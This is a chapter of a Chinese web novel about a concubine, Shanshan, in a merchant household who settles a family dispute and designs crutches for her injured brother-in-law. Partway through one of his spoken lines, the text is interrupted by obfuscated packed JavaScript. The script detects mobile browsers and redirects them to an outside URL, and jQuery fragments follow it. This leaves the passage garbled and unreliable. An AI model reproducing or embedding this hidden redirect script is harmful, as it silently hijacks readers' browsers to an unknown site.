13. 第 13 章

作品:《身为小妾的我只想退休

    危机解除


    免去了一场纠纷,更是省下了一笔大额赔偿,谢府的上空又洋溢起自由轻快的空气。众人正要散去,只听到有人“哎哟哟”的呻吟,这才想起地上还躺着一个谢智清。


    朱明心本想随着众人一同悄无声息地散去回头再遣人来抬,可谢智清却在这时不合时宜地展示存在感。再想见伤不救也不行了,人民内部矛盾,还是不要摆到众人面前,在婆母小叔子面前落个刻薄夫婿的名声,可有自己的好果子吃。


    这思虑的功夫,一众仆从早已将地上的谢智清扶了起来,朱明心忍着愤怒走上前去整理了一下谢智清的头冠,想说句安慰的话但酝酿了半天也说不出,只得转向众人发泄着有名怒火:“还不快去找大夫!”


    老婆的突然靠近让谢智清混沌的世界变得高清,本想高声辩解顺便痛骂段吉良,感受到一个雄伟的身影遮住面前的光。不着痕迹地瞥了一眼身侧,是那玉树临风英俊潇洒气度不凡的谢骧,和自己今日猥琐的形象更是对比鲜明。顿时像破了气的皮球,更加萎靡下去,只蔫蔫地交代了一声“回房”,便单腿蹦向自己的小院。


    谢骧敏锐地察觉兄长的小心思,很是谦卑地向众位嫂嫂告别:“二位嫂嫂,谢骧还有事先退下了。烦请二嫂好好照料兄长,需要什么药材的尽管说,都是自家的买卖,尽叫人送来。若段家日后再来生事,尽来告知我。”


    杉杉捕捉到关键信息:这谢骧旗下还有医药产业,真是生意做的不小,有些商业头脑。看来自己今后的生意也要小心些,没得和他撞到一起再漏了马甲。


    谢骧礼貌地福身准备褪去,余光瞟到杉杉若有所思的神情,不知这女子又有什么思量,嘴角轻轻上扬,很潇洒地离去了。


    朱明心再次向杉杉道谢,只是语气里是掩不住的疲惫和烦闷。


    杉杉很能理解,换做自己嫁了这么个纨绔,要对着他的那张芒果脸过一辈子,也真是让人心堵。说的好像自己没过着这样的日子一样。有些不好意思,忙推辞道:“没有没有,您客气”


    陆宜安也很是感激:“今日是多谢杉杉,若不是你,还不知这事如何走向,少不了府里要赔偿一笔。你还怀着孩子,莫要惊了胎气,要好好修养。”


    杉杉听了只觉得骄傲自豪,自己的专业在如今这个时代依然有用武之地,很侠义地说道:“两位夫人客气,都是一家人,这也不过是举手之劳,不必太放在心上。”又想了想补充道,“以后孩子若是有个牙痛不舒服的,尽管来找我!”


    刚躲得远远的白姨娘见在场的男的都走了,踏着小步子跑了过来,临到跟前,又放慢了步子。在陆宜安和朱明心面前,心里总是不自觉的打鼓,从不敢大声说话。


    陆宜安投过一个善意的眼神,白姨娘建设了半天,才好意思开口道:“妹妹还是要小心些,还是找大夫看看吧。”


    杉杉开心地回握住白姨娘的双手:“姐姐不用担心,只是崴了下脚,刚刚恰好有三爷挡着,不严重的。”


    “呦,文妹妹可真是高风亮节呀!”一个尖利的女声从背后悠悠响起,“既能干,还没要求,府里女眷可是多要向妹妹学习啊!”


    不用回头便知道,肯定是尖酸刻薄的孙若羽。杉杉丝毫不care,依然和白姨娘你侬我侬聊得不亦乐乎,把孙若羽晾在一边就当没听见。


    陆宜安和朱明心也默契地忽略了孙若羽的挑拨,佯装着关心谢智清,也没有搭茬。


    孙若羽提起裙摆冲过来,四个人齐齐向着后院走去,步伐快得叫人直忘了这里面还有一个挺着大肚子的孕妇。


    孙若羽闹了个好生没趣,在四人身后气得直跺脚。文杉杉!你敢不理我,你给我等着!不把谢府搅得天翻地覆,我就不姓孙!


    朱明心烦躁地小步子挪回院里,实在是不想看见谢智清那张芒果脸。


    “二夫人,老爷睡下了。”荷月压低了声音,生怕吵醒了榻上的谢智清。


    朱明心无力地坐在炕桌前,遥遥望一眼谢智清狼狈的样子,心里满是苦楚,自己未来几十年就要和此人风雨共度。“大夫呢?”声音里满是疲惫和无奈。


    “露月已经去请了,可房里的钱不多了...”荷月声音压得更低,小心翼翼地看着姑娘的脸色。姑娘从小娇生惯养,哪里吃过这种苦,可自从嫁了这个不成器的姑爷!荷月满是心疼地拍了拍朱明心的背,说不出的担忧。


    朱明心也感受到低气压,努力摆出个微笑:“别担心,还有你姑娘摆不平的事呢?不行就先用嫁妆垫上,快过年了,份例发下来补上就是了。”


    荷月点点头,犹豫了再三还是开口了:“姑娘,二爷这样可不行啊,整日游手好闲,这半年来您给他补了多少亏空!合该劝劝才是。”可话一出口自己也觉得无力,哪里是没劝,姑娘嘴皮子都磨破了,也没什么用处。第一回说了能消停半个月,再说消停十来天,如此递减,只能维持个一两天了,真不知日后的日子要怎么过。


    朱明心也是忧愁,真想回娘家差哥哥好好收拾一顿谢智清,让他缠绵床榻一步出不得府门。如此想来,这次受伤也不全是坏处,至少一段时间不能出门作妖了。


    另一边的杉杉情绪高昂像个刚打胜仗的大将军,飘飘然踱步回了院子里,还未坐定,跟进来五六个侍女盛来了不少好东西,吃的用的漂亮缎子,整整齐齐摆了一屋子。


    流萤被这突然的富贵冲昏了头脑,说话都磕巴:“这是,这是..”


    杉杉自豪答道:“当然是你亲爱的姨娘挣来的啦!”


    蒲苇兴奋地和流萤描述了刚刚的精彩场面,把流萤听得是一愣一愣的,赶忙转着圈地观察沈姨娘上下左右,生怕有一点闪失。


    “哎,别担心,你姨娘我是啥事没有,现在的感觉,真是好极啦!”杉杉的开心溢于言表,“二夫人真是个好人,可我也不能白承她这份情。来,拿笔墨来!”


    蒲苇狗腿地立刻拿出写话本准备下的文房四宝,眼里满是对姨娘的景仰之情。没想到姨娘不仅在诗书写作上很有天分,竟连医学方面也有所涉猎,怕一般的郎中还比不上呢。完全沉浸在跟对人的喜悦当中。


    为进一步加深与二夫人的友好往来,为了解决眼前的当务之急,为了帮助谢智清重塑好男儿好老公的果敢形象,杉杉画了双拐的设计图纸,连夜找了小厮准备打出来送给谢智清。


    第二日。


    “这么烫的茶水给爷喝!”谢智清靠着床头半坐着,气愤地将小厮呈上来的茶水打翻在地,“你老子没有教过你!来人给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716706|173745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我叉出去!”谢智清在床上躺了几日心里无聊的紧,正愁无处发火。


    一侧候着汇报的陈管事狗腿地又倒了杯茶呈上来:“二爷,别和这泥腿子生气,不值得。您还是注意着身子。”给床边跪着的小厮使了个眼色,赶紧溜走了。这才递上几个账本和四五张条子,“二爷,这是两家铺子的帐本。另外这是这几日您花销的几家酒楼商铺递上来的账单,小的不知如何处理,您过目。”


    谢智清耷着眼皮扫了两眼,重点算了下账单的总额,便像个斗鸡似的瞪大了俩眼,烫手山芋似的甩回了陈管事怀里:“如何竟欠了这么多!先支了柜上的钱补上!不要声张。”


    陈管事立刻诚恳明志:“二爷,这您放心,小的嘴严着呢。只是年根将至,府里用度增加,生意又不好,账上的钱实在是不多啊,”面上又露出讨好的笑,”若是现在支了,怕是运转不过来啊。”


    “胡说!两个铺子出不来这些钱!没的是你做假账偷偷昧下,”谢智清正要发作叫他不要胡扯,就听得院子里传来朱明心的声音,赶紧抢过塞到被褥底下,超小声嘱咐道,“先把欠的补上,其他的到时再说。等我痊愈便去铺子里查帐,上心些。”


    陈管事很有些无奈,但也没有办法,低头作揖:“二爷放心,小的自当全力以赴。您安心修养,小的告退。”快步向外走去,还未出门就碰上了迎面走来的朱明心。


    陈管事装出个碰巧遇到女主人的惊讶表情,恭谨地客套几句。朱明心眉宇间都是喜色,对陈管事来此的缘由毫不在意,应允了两句便打发走了。


    谢智清在里屋听得是神经紧绷,见陈管事成功撤退了这才放下心来。


    装作不经意地瞥了一眼老婆的脸色,更是放下心来,讨好道:“夫人,今日心情不错,可是有何喜事?”


    朱明心大手一挥,荷月桂月一人一把抬上来两支木制拐杖立在谢智清面前。


    “这是大哥房里的文姨娘连日赶制的!官人,练起来吧。”朱明心接到杉杉送来的拐杖很是兴奋了一番。见惯了父兄的坚强刚毅,实在是受不了谢智清这整日吱歪的软蛋样子,一点点小伤让他搞得好像马上要断气了似的,想要所有的人都吻上来捧着他。正愁天天看他瘫在床上,这沈姨娘就送来了这锻炼神器,这下有他忙的了。


    谢智清疑惑地看着朱明心演示了该如何使用,非常痛快地甩出两个字:“不练。”依然是大剌剌瘫在床上。


    朱明心继续游说:“老爷,文姨娘说,长期卧床下肢不动便会有栓子进入血液,稍有不慎便会进入脏腑致人栓塞,严重者大罗神仙也难医。快点练起来。”


    谢智清满是鄙夷,不置可否:“她是个什么东西!一个小娘们见识还没有板凳高,又不识得几个字,哪来的学问,竟还敢恐吓你,看我不找兄长告状好好治治这个胡言乱语诅咒我的蠢女人。夫人你可不要被她蒙骗了。”


    朱明心怒气冲上头顶,上前一把薅住谢智清的领口把他半提了起来:“不识好歹!你告一个试试!你自己学识浅薄,一把年纪还惹是生非,被人垂断了腿,竟还有脸讥讽别人!好大的口气!”


    谢智清看着暴怒的妻子,曾经的记忆涌上心头,忙不迭服软道歉,待媳妇走后扑到软枕上好好痛哭了一场。